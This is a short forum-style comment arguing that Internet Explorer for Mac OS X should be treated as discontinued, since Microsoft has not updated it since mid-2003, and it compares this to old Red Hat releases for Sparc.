Microsoft hasn't released an updated for IE on OS X since 6/16/2003. They only released that small upgrade from 5.2.1 because of an asinine amount of bugs in 5.2.1, including one that I found and reported. They made a big todo over 5.2.1 being their last Mac release. 2.5 years is more than long enough to consider that IE is no longer available as a Mac product. You can still pick up a Redhat release that supports Sparc (5.x). Does that mean that RH supports Sparcs? No, it doesn't.